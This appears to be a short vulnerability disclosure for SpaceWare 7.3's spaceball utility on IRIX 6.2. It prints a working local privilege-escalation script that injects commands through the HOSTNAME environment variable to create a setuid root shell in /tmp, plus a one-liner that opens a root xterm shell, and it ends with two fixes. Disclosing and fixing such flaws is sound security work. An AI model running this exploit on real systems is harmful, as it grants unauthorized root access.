- I guess anyone who's reading this already have noticed (if
- you are playing with a SpaceBall), anyway here it goes:
-
- ==========================================================================
- #!/bin/sh
-
- SWDIR=/usr/local/SpaceWare
- cp /bin/sh /tmp/sh
-
- echo 6 | HOSTNAME="/bin/chmod 4755 /tmp/sh" \
- $SWDIR/spaceball > /dev/null 2>&1
- echo 6 | HOSTNAME="/bin/chown root /tmp/sh" \
- $SWDIR/spaceball > /dev/null 2>&1
-
- /tmp/sh
- ==========================================================================
-
- more information:
-
- IRIX 6.2
- spaceware 7.3 v1.0 (http://www.spacetec.com/)
- ftp://ftp.spacetec.com/put/spaceball2003and3003/drivers/app.irix.7_3.tar
-
- (Obviously, you can use HOSTNAME for any command you want
- to run as root, like
- echo 6 | HOSTNAME="`which xterm` -e `which sh`" /usr/local/SpaceWare/spaceball
- )
-
- Fix:
-
- a) rm (since spaceball.sh does lots of nasty things, like
- running spaceball demos as root, probably this is the best
- solution)
-
- b) set HOSTNAME=/usr/bsd/hostname in the "Utilities" section of
- $SWDIR/spaceball.sh
